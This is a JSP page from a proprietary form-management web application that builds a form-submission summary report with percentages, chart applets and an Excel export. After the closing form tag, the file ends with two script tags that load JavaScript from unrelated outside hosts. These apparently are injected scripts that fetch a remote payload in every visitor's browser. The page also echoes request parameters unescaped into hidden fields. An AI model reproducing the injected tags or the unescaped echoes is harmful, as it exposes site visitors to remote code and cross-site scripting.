<%
/*
 * @(#)EditFormReportSummary.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormReportSummary.jsp

  This class is reflecting business logic uses.

    @author           Scott Tong
    @company          DCIVision Limited
    @creation date    05/01/2004
    @version          $Revision: 1.8.2.2 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="jxl.*" %>
<%@ page import="jxl.write.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSubmissionForm" scope="request" class="com.dcivision.form.web.MaintFormSubmissionForm"/>
<%
  String LIST_NAME = "formPageList";
  String reportType = request.getParameter("reportType");
  String generalReport = "GENERALREPORT";
  boolean hasSelectionOption = false;
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);

  String fromDate = "";
  String toDate = "";
  String formRecordID = request.getParameter("formRecordID");
  if (!"null".equals(request.getParameter("fromDate"))) {
  	fromDate = request.getParameter("fromDate");
  }   
  if (!"null".equals(request.getParameter("toDate"))) {
  	toDate = request.getParameter("toDate");
  }
  
%>

<html:form action="form/ListFormReportSummary" method="POST">
<html:javascript formName="maintFormSubmissionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String FIELD_HEADER = "FB_FIELD_";

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

   FormPage formPage = (FormPage) request.getAttribute(LIST_NAME);

   String sPreviewValue = (String)request.getAttribute("preview");

   String sCurFunctionCode = SystemFunctionConstant.FORM_SUBMISSION;

   String functionType = "";
   if(sPreviewValue != null)
     functionType="common.label.form_action_preview";
   else
     functionType="common.label.form_action_new";

	 Integer pageID = new Integer(1);
	 Integer sectionID = new Integer(1);
  jxl.write.Label    slabel;  
  jxl.write.DateTime tlabel;
  String path = SystemParameterFactory.getSystemParameter(SystemParameterConstant.FORM_ATTACHMENT_PHYSICAL_PATH) ;
 
  WritableWorkbook xslwork=Workbook.createWorkbook(new File(path+"/ConvertExcelFile.xls"));
  jxl.write.WritableSheet ws=xslwork.createSheet("ResultSheet",0); 



  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>
<script language='javascript'>
function OpCustSearch() {
	document.maintFormSubmissionForm.submit();
	return (false);
}

function OpCustReset(){
	document.maintFormSubmissionForm.dummy_fromDate.value="";
	document.maintFormSubmissionForm.fromDate.value="";
	document.maintFormSubmissionForm.dummy_toDate.value="";
	document.maintFormSubmissionForm.toDate.value="";
	return (false);
}

</script>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<input type="hidden" name="formRecordID" value='<%=request.getParameter("formRecordID")%>'>
<input type="hidden" name="reportType" value='<%=request.getParameter("reportType")%>'/>

<!-- Page Title Section -->
 
<!-- System And Error Messages -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<!-- Search Panel Begin -->
 
<%
  //check the record count by the forRecordID & date range
	FormSubmissionDAObject formSubmissionDAO = new FormSubmissionDAObject(sessionContainer,conn); 
	int totalNumOfRecord = 0;
	
	try {
		totalNumOfRecord = formSubmissionDAO.getFormSubmissionCountBySubmittedDateRange(formRecordID,maintFormSubmissionForm);
	} catch (ApplicationException ae) {
		org.apache.commons.logging.LogFactory.getLog("FormSubmissionDAO").error("getFormSubmissionCountBySubmittedDateRang error");
	}
	if (totalNumOfRecord >0 ) {
%>
<!-- Search Panel End -->
<table width="650" border="0" cellspacing="1" cellpadding="0">
  <tr>
    <td colspan="2">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td align="right"><b><font color='red'>*</font> <bean:message key='common.label.mandatory'/></b></td>
        </tr>
      </table>
    </td>
  </tr>
  <!--//@@ snapshot -->
  <Tr><td colspan="2"><html:img src="Spacer.gif"  height="20" width="1"/></td></tr>
  <tr>
    <td colspan="2">
<!-- ************************************** Start of Form Border ********************************** -->
<table border=0 cellspacing="0" cellpadding="0" width="100%">
    <tr align="left">
        <td valign="top" width="100%">
<!-- ************************************** Start of Form Content ********************************** -->
          <table width="100%" border="0">
            <tr>
              <td valign="top" align="right"><bean:message key='form.label.page'/>1</td>
            </tr>
            <tr>
              <td align="center"><%=formPage.getTitle()%>&nbsp;</td>
<% slabel=new jxl.write.Label(3,1,formPage.getTitle()); 
                  ws.addCell(slabel); %>
            </tr>
            <tr>
              <td align="center">&nbsp;</td>
            </tr>
          </table>
<%	
	//get the form section list

  Integer elementID;
  List formSectionList = formPage.getFormSectionList();
  int  sectionSize=0;
  int  elementSize=0;
  String[] everyCell=new String[0];
  String[] temArray;
  for (int i=0; i<formSectionList.size(); i++) {
    FormSection tmpFormSection = (FormSection) formSectionList.get(i);
    sectionID = tmpFormSection.getID(); 
%>

<%if (i==0){  
             slabel=new jxl.write.Label(0,(i+2+elementSize),tmpFormSection.getTitle()); 
             sectionSize=i+2+elementSize;
             ws.addCell(slabel); 
             }else{
             slabel=new jxl.write.Label(0,(i+2+sectionSize+elementSize),tmpFormSection.getTitle()); 
             sectionSize=i+2+sectionSize+elementSize;
             ws.addCell(slabel);              
             }
           
                  %>
         <table width="100%" border="0"><!-- Section table -->
           <tr>
             <td><font style='font-size: -pt;'><%=tmpFormSection.getTitle()%></font></td>
           </tr>
           <tr>
             <td align="center" bgcolor="black"><html:img src="LayoutSpacer.gif"  height="1" width="400"/></td>
           </tr>
         </table>
         <table width="100%" border="0"><!-- Element table -->

<%
    //get form element list under a form section
    List formElementList = tmpFormSection.getFormElementList();
    elementSize=formElementList.size();

    for (int j=0; j<formElementList.size(); j++) {
    FormDataElementDAObject aformDataElementDAO = new FormDataElementDAObject(sessionContainer,conn);   

         FormElement tmpFormElement = (FormElement) formElementList.get(j);
          String	 elementLength = "";
          elementID = tmpFormElement.getID();
	try {
	  elementLength = aformDataElementDAO.getAllValuesByPageIDSectionIDElementID(pageID,sectionID,elementID,maintFormSubmissionForm);		
		if(Utility.isEmpty(elementLength)) {
			elementLength="   ";			
		}
	} catch (ApplicationException ae) {
		org.apache.commons.logging.LogFactory.getLog("FormDataElementDAObject").error("getAllValuesByPageIDSectionIDElementID error");
	}    
     temArray= elementLength.split("<font color='red'>,</font>");
     if (temArray.length>0)
     everyCell=elementLength.split("<font color='red'>,</font>");
    }     
    for (int j=0; j<formElementList.size(); j++) {
      ++sectionSize;
      FormElement tmpFormElement = (FormElement) formElementList.get(j);
      elementID = tmpFormElement.getID();

      String elementAlign = "left";
 
      Integer fontSize;
      String fontColor = "";
      String fontStyle = "";
      String labelPosition = "";
      String fontType = "";
      String preFontStyle = "<font style='";
      String nextFontStyle = "";
      MtmFormSectionFormElementDAObject mtmFormSectionFormElementDAO = new MtmFormSectionFormElementDAObject(sessionContainer,conn);
      MtmFormSectionFormElement tmpMtmFormSectionFormElement = (MtmFormSectionFormElement)mtmFormSectionFormElementDAO.getObjectBySectionIDElementID(sectionID,elementID);

      fontSize = tmpMtmFormSectionFormElement.getFontSize();
      fontColor = tmpMtmFormSectionFormElement.getFontColor();
      fontStyle = tmpMtmFormSectionFormElement.getFontStyle();
      fontType = tmpMtmFormSectionFormElement.getFontType();
      labelPosition = tmpMtmFormSectionFormElement.getLabelPosition();

      //handel the position
      if (!Utility.isEmpty(labelPosition)) {
      	if ("L".equals(labelPosition)) {
      		elementAlign = "left";
      	} else if ("C".equals(labelPosition)) {
      		elementAlign = "center";
      	} else if ("R".equals(labelPosition)) {
      		elementAlign = "right";
      	}
      }
      //handel Font Style
      if (!Utility.isEmpty(fontStyle)) {
	      for (int k=0; k < fontStyle.length(); k++) {
	        if ("B".equals(fontStyle.substring(k,k+1))) {
	          preFontStyle += "font-weight: bold;";
	        } else if ("U".equals(fontStyle.substring(k,k+1))) {
	          preFontStyle += "text-decoration: underline;";
	        } else if ("I".equals(fontStyle.substring(k,k+1))) {
	          preFontStyle += "font-style: italic;";
	        }
	      }
      }

      if (!Utility.isEmpty(fontSize)) {
        preFontStyle += " fontsize:" + fontSize+"px;";
      }
      if (!Utility.isEmpty(fontColor)) {
        preFontStyle += " color:" + fontColor+";";
      }
      if (!Utility.isEmpty(fontType)) {
        preFontStyle += " font-family:" +
        	MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(),
        		"form.label.element_fonts_"+fontType) +";";
      }
      preFontStyle += "'>";

	//get the element value from Form_Data_Element
 	String elementValue = "";
	FormDataElementDAObject formDataElementDAO = new FormDataElementDAObject(sessionContainer,conn);   
		
	try {
		elementValue = formDataElementDAO.getAllValuesByPageIDSectionIDElementID(pageID,sectionID,elementID,maintFormSubmissionForm);		
		if(Utility.isEmpty(elementValue)) {
			elementValue="   ";			
		}
	} catch (ApplicationException ae) {
		org.apache.commons.logging.LogFactory.getLog("FormDataElementDAObject").error("getAllValuesByPageIDSectionIDElementID error");
	}
	
     FormAttachDAObject      formAttachDAO = new FormAttachDAObject(sessionContainer,conn);
     FormAttach      formAttach=null;

     if (formAttachDAO.getObjectByID(elementID)!=null)
	 			formAttach = (FormAttach)formAttachDAO.getObjectByID(elementID);
     if (mtmFormSectionFormElementDAO.getObjectByID(elementID)!=null)
         tmpMtmFormSectionFormElement = (MtmFormSectionFormElement) mtmFormSectionFormElementDAO.getObjectByID(elementID);

%>

          <tr>
<%
      //if the form element is a text box
 
//START TEXT BOX
%>
	<td noswap align="<%=elementAlign%>" width="21%" class="greyD">
<%    if("Y".equals(tmpFormElement.getRequiredFlag())){
                out.write("<font color='red'>*</font>");
            }else{
                out.write("&nbsp;");
            }


                  
     if(FormElementType.ELEMENT_TEXT.equals(tmpFormElement.getElementType())){
    if("Y".equals(tmpFormElement.getRequiredFlag())){
     slabel=new jxl.write.Label(0,j+sectionSize,"*"+tmpFormElement.getFieldName()); 
     }else{
     slabel=new jxl.write.Label(0,j+sectionSize,tmpFormElement.getFieldName()); 
     }
                  ws.addCell(slabel);         
     everyCell=elementValue.split("<font color='red'>,</font>");
     for (int s=0;s<everyCell.length;s++){
           slabel=new jxl.write.Label(2+s,j+sectionSize,everyCell[s]);
           ws.addCell(slabel);
     }             
%>
              <%=tmpFormElement.getFieldName()%>: </td><td class="greyD">
              <%=elementValue%>
              
<%
 
      }
//END TEXT BOX


//START TEXT AREA

      else if(FormElementType.ELEMENT_TEXT_AREA.equals(tmpFormElement.getElementType())){
   if("Y".equals(tmpFormElement.getRequiredFlag())){
     slabel=new jxl.write.Label(0,j+sectionSize,"*"+tmpFormElement.getFieldName()); 
     }else{
     slabel=new jxl.write.Label(0,j+sectionSize,tmpFormElement.getFieldName()); 
     }
                  ws.addCell(slabel);  
     everyCell=elementValue.split("<font color='red'>,</font>");             
     for (int s=0;s<everyCell.length;s++){
           slabel=new jxl.write.Label(2+s,j+sectionSize,everyCell[s]);
           ws.addCell(slabel);
     }   
%>
              <%=tmpFormElement.getFieldName()%>: </td><td class="greyD">
              <%=elementValue%>
<%
      }
//END TEXT AREA

//START LABEL

      else if(FormElementType.isLabel(tmpFormElement.getElementType())){
    
     for (int s=0;s<everyCell.length;s++){
           slabel=new jxl.write.Label(2+s,j+sectionSize,tmpFormElement.getFieldName());
           ws.addCell(slabel);
     }   
%>
               
               </td><td class="greyD" >

	              <%=tmpFormElement.getFieldName()%>

<%
      }
//END LABEL

//START PASSWORD

      else if(FormElementType.ELEMENT_PASSWORD.equals(tmpFormElement.getElementType())){
      slabel=new jxl.write.Label(0,j+sectionSize,tmpFormElement.getFieldName()); 
             ws.addCell(slabel); 
     everyCell=elementValue.split("<font color='red'>,</font>");        
     for (int s=0;s<everyCell.length;s++){
           slabel=new jxl.write.Label(2+s,j+sectionSize,"********************");
           ws.addCell(slabel);
     }  
%>
              <%=tmpFormElement.getFieldName()%>: </td><td class="greyD">
              
              <%="********************"%>
             
<%
      } 
      
//END PASSWORD

//START IMAGE
                  else if (FormElementType.ELEMENT_IMAGE.equals(tmpFormElement.getElementType())) { 
                  String imageName="";
		   String  repath=SystemParameterFactory.getSystemParameter(SystemParameterConstant.FORM_ATTACHMENT_PHYSICAL_PATH);
	          
                  if (formAttach!=null)
                  imageName=formAttach.getFileName();
                  else
                  imageName="";     
              %>
              <%
              if (formAttach!=null) {
              %>
              <%    if("Y".equals(tmpFormElement.getRequiredFlag())){
		     slabel=new jxl.write.Label(0,j+sectionSize,"*"+tmpFormElement.getFieldName()); 
		     }else{
		     slabel=new jxl.write.Label(0,j+sectionSize,tmpFormElement.getFieldName()); 
		     }
                    ws.addCell(slabel); 
              %>
              
              <%=tmpFormElement.getFieldName()%>
              <%
              } %>
              
              </td><td class='greyD'>               
<%
              if (formAttach!=null) {
               if (imageName.indexOf(".")>0) {
%>  
<%  
      for (int s=0;s<everyCell.length;s++){
           slabel=new jxl.write.Label(2+s,j+sectionSize,request.getContextPath()+"/"+repath+"/"+tmpFormElement.getID()+ imageName.substring(imageName.indexOf("."),imageName.length()));
           ws.addCell(slabel);
      }  
              %>            
              <img src='<%=request.getContextPath()+"/"+repath+"/"+tmpFormElement.getID()+ imageName.substring(imageName.indexOf("."),imageName.length())%>'>     </td>          
<%
               }
              }
%>
              <%
              if (tmpMtmFormSectionFormElement.getLabelPosition()!=null)
              {           
              if (tmpMtmFormSectionFormElement.getLabelPosition().equals("T")){%>
              </td></tr></table>  
              <%}
              }%>
<%           } 
 
//END IMAGE
 

//START DATEPICKER

      else if(FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement.getElementType())){
 if("Y".equals(tmpFormElement.getRequiredFlag())){
		     slabel=new jxl.write.Label(0,j+sectionSize,"*"+tmpFormElement.getFieldName()); 
		     }else{
		     slabel=new jxl.write.Label(0,j+sectionSize,tmpFormElement.getFieldName()); 
		     }
                    ws.addCell(slabel);  
     everyCell=elementValue.split("<font color='red'>,</font>");                
     for (int s=0;s<everyCell.length;s++){
           slabel=new jxl.write.Label(2+s,j+sectionSize,everyCell[s]);
           ws.addCell(slabel);
     }   
%>
              <%=tmpFormElement.getFieldName()%>: </td><td class="greyD">
              <%=elementValue%>

<%
      }
//END DATEPICKER

      //if the form element is selection type
      else if(FormElementType.isSelection(tmpFormElement.getElementType())){
      	hasSelectionOption = true;
        FormSelectionField formSelectionField = tmpFormElement.getFormSelectionField();
        //get the percentage
           if("Y".equals(tmpFormElement.getRequiredFlag())){
		     slabel=new jxl.write.Label(0,j+sectionSize,"*"+tmpFormElement.getFieldName()); 
		     }else{
		     slabel=new jxl.write.Label(0,j+sectionSize,tmpFormElement.getFieldName()); 
		     }
                    ws.addCell(slabel);  
  
     
        elementValue = TextUtility.replaceString(elementValue,"<font color='red'>","");
        elementValue = TextUtility.replaceString(elementValue,"</font>","");
        String[] options = TextUtility.splitString(elementValue,",");
        
        
%>
              <%=tmpFormElement.getFieldName()%>: </td><td class="greyD">
              <%
              if(formSelectionField != null){
                List formSelectionFieldOptionList = formSelectionField.getFormSelectionFieldOptionList();
          
          //hold the option items and the count
          String[] formSelectionFieldOption = new String[formSelectionFieldOptionList.size()];
          double[] formSelectionFieldOptionCount = new double[formSelectionFieldOptionList.size()];      

               
        	for (int k=0; k<formSelectionFieldOptionList.size(); k++) {
        	  FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) formSelectionFieldOptionList.get(k);
        	  
                  //if the form element is a radio box

//START RADIO BOX
                  if(FormElementType.ELEMENT_RADIO_BUTTON.equals(tmpFormElement.getElementType())){
              if (generalReport.equals(reportType)) 
              out.println(tmpFormSelectionFieldOption.getLabel()); %>
              <%
              formSelectionFieldOption[k] = tmpFormSelectionFieldOption.getLabel();  
              
              float count = 0;
              for ( int n = 0; n < options.length; n++) { 
            
        				if (options[n].equals(Integer.toString(k))) {
        					count ++;
                             slabel=new jxl.write.Label(2+n,j+sectionSize,tmpFormSelectionFieldOption.getLabel());
                            ws.addCell(slabel); 
        				}
        			}
        			if (generalReport.equals(reportType)) 
        			out.println("&nbsp;&nbsp;(" + Math.round(count*10000/options.length)/100.0 + "%)&nbsp;&nbsp;");
        			
        			formSelectionFieldOptionCount[k] = Math.round(count*10000/options.length)/100.0;
   
              %>
<%
                  }
//END RADIO BOX

//START CHECK BOX
                  else if(FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement.getElementType())){
              if (generalReport.equals(reportType)) 
              out.println(tmpFormSelectionFieldOption.getLabel()); %>
              <%
              formSelectionFieldOption[k] = tmpFormSelectionFieldOption.getLabel();  
              
              float count = 0;
              for ( int n = 0; n < options.length; n++) {        
      
        				if (options[n].equals(Integer.toString(k))) {
        					count ++;
	                            slabel=new jxl.write.Label(2+n,j+sectionSize, tmpFormSelectionFieldOption.getLabel());
                            ws.addCell(slabel);
        				}
        			}
        			if (generalReport.equals(reportType)) 
        			out.println("&nbsp;&nbsp;(" + Math.round(count*10000/options.length)/100.0 + "%)&nbsp;&nbsp;");
        			
        			formSelectionFieldOptionCount[k] = Math.round(count*10000/options.length)/100.0;
       			
              %>
<%
                  }        
 
 
 //END CHECK BOX
                   
//END CHECK BOX
 
                  //if the form element is a selection box

//START SELECTION BOX
 
                  else if(FormElementType.ELEMENT_SELECTION_BOX.equals(tmpFormElement.getElementType())){
 
              if (generalReport.equals(reportType)) 
              out.println(tmpFormSelectionFieldOption.getLabel()); %>
              <%
              formSelectionFieldOption[k] = tmpFormSelectionFieldOption.getLabel();              
              
              float count = 0;
              for ( int n = 0; n < options.length; n++) {          
  
        				if (options[n].equals(Integer.toString(k))) {
        					count ++;
                             slabel=new jxl.write.Label(2+n,j+sectionSize,tmpFormSelectionFieldOption.getLabel());
                              ws.addCell(slabel);          					
        				}
        			}
        			
        			if (generalReport.equals(reportType)) {
        				out.println("&nbsp;&nbsp;(" + Math.round(count*10000/options.length)/100.0 + "%)&nbsp;&nbsp;");
        			}
        			formSelectionFieldOptionCount[k] = Math.round(count*10000/options.length)/100.0;
 
              %>
 
<% 
                    
                  }
//END SELECTION BOX
                }

                      %>
         <%if ("BARCHART".equals(reportType) && !Utility.isEmpty(formSelectionFieldOption) ){%>      
	        <applet codebase="<%=request.getContextPath()%>/jsp/form"  archive="ChartReport.jar" code="BarChart.class"  name="BarChart" height=180 width=250>
		        <param name=NumberOfVals value=<%=formSelectionFieldOption.length%>>
		        <param name=NumberOfCols value=1>
		        <param name=border value=40>
		        <param name=yborder value=10>
		        <param name=colmargin value=20>
		        <param name=keywidth value=100>
		        <param name=ymax value=100>
		        <param name=ymin value=0>		        
		        <param name=title value="<bean:message key='form.label.bar_chart'/>">
		        <% for (int ii = 1; ii < formSelectionFieldOption.length+1; ii++) {%>
		        <param name=KEY_<%=ii%> value="<%=formSelectionFieldOption[ii-1]%>">
		        <param name=VAL_1_<%=ii%> value=<%=formSelectionFieldOptionCount[ii-1]%>>
		        <param name=LineColor_R_<%=ii%> value=<%=(ii*51)%255%>>
		        <param name=LineColor_G_<%=ii%> value=<%=(ii*76)%255%>>
		        <param name=LineColor_B_<%=ii%> value=<%=(ii*204)%255%>>		        
		        <!--param name="link<%=ii+1%>" value="http://www.dcivision.com">
		        <param name="LINK<%=ii+1%>" value="http://www.hotmail.com"-->
		        <%}%>              
		        <param name=Grid value="true">        
		        <param name=LAB1 value="">
	      	</applet>
      <%} else if ("PIECHART".equals(reportType) && !Utility.isEmpty(formSelectionFieldOption)) {%>
		      <applet codebase="<%=request.getContextPath()%>/jsp/form"  archive="ChartReport.jar" code="PieChart.class" height=180 width=250>
		        <param name="title" value="<bean:message key='form.label.pie_chart'/>">
		        <param name="csize" value="100">
		        <param name="noofvals" value="<%=formSelectionFieldOptionCount.length%>">
		        <param name="highlight" value="1">        
		        <% for (int jj = 1; jj < formSelectionFieldOptionCount.length+1; jj++) {%>
		        <param name=val<%=jj%> value=<%=formSelectionFieldOptionCount[jj-1]%>>
		        <param name=key<%=jj%> value="<%=formSelectionFieldOption[jj-1]%>">
		        <param name="red<%=jj%>" value="<%=(jj*51)%255%>">
		        <param name="green<%=jj%>" value="<%=(jj*76)%255%>">
		        <param name="blue<%=jj%>" value="<%=(jj*204)%255%>">
		        <!--param name="link<%=jj+1%>" value="http://www.dcivision.com"-->
		        <%}%>                 
		      </applet>          
      <%}%>     
                
                
<%               
              }
%>

<%

      }
%>
	    </td>
	  </tr>

<%
    }
%>
    </table><br><br>
<%
  }
%>
    </td>
  </tr>
</table>
<%} else {%>
<table width="650" border="0" cellspacing="1" cellpadding="0"> 
	<tr align="center"><td> <bean:message key='errors.framework.record_not_found'/> 
	      </td></tr>
</table>
<%}%>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->

	<tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
 
  <td><a href="MaintFormElement.do?navMode=ED&isDownload=Y&version=TOP&targetID=2&ext"> GetFile</a></td>
   </tr>
 
</table>
</td></tr></table>
<%
     xslwork.write();
     xslwork.close();
%>
 
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>